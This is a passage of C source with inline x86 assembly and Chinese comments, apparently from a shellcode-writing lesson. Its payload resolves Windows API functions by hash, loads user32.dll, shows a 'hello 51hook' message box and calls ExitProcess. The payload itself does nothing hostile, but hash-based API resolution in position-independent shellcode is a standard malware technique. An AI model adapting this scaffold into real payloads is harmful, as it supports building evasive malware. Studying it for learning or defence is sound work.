mov esp, ebp
pop ebp
retn 0x4
//paylod部分
fun_payload:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
push edi
push edx
push ebx
push ecx
//1.先拿到dllbase
call fun_GetModule
mov[ebp - 0x4], eax
//2.获取LoadLibraryA
push 0XC917432//LoadLibraryA 哈希值
push eax
call fun_GetProcAddr
mov[ebp - 0x8], eax//LoadLibraryA 地址
//3.获取GetProcAddress
push 0xBBAFDF85//GetProcAddress 哈希值
//kener32和kernelBase无论哪个都可以调用LoadLibraryA等等
//但只有kener32可以调用ExitProcess
push[ebp - 0x4]//dllbase
call fun_GetProcAddr
mov[ebp - 0xc], eax//GetProcAddress 函数地址
//4.调用LoadLibraryA 加载user32.dll
mov ecx, [ebp + 0x8]
push ecx
call[ebp - 0x8]//调用loadlibraya获取 user32.dll
mov[ebp - 0x10], eax//user32base
//5.调用fun_GetProcAddr 获取MessageBoxA地址
push 0x1E380A6A//MessageBoxA 哈希值
push[ebp - 0x10]
call fun_GetProcAddr//获取MessageBoxA的函数地址
mov[ebp - 0x14], eax
//6.输出hello 51hook
push 0
push 0
mov ecx, [ebp + 0x8]
lea ecx, [ecx + 0xB]//字符串hello 51hook偏移
push ecx
push 0
call[ebp - 0x14]//MessageBoxA
//通过loadLibraryA 获取kernel32.dll的基址 确保万无一失
mov ecx, [ebp + 0x8]
lea ecx, [ecx + 0x18]
push ecx
call[ebp - 0x8]//调用loadlibraya获取 user32.dll
mov[ebp - 0x18], eax//kener32.dllbase
//退出程序0x4FD18963
push 0x4FD18963//ExitProcess 哈希值
push[ebp - 0x18]
call fun_GetProcAddr//获取ExitProcess的函数地址
mov[ebp - 0x2c], eax
push 0
call[ebp - 0x2c]//调用 ExitProcess
pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0x4
}
}
int main()
{
printf("hello 51hook");
shellCode();
return 0;
}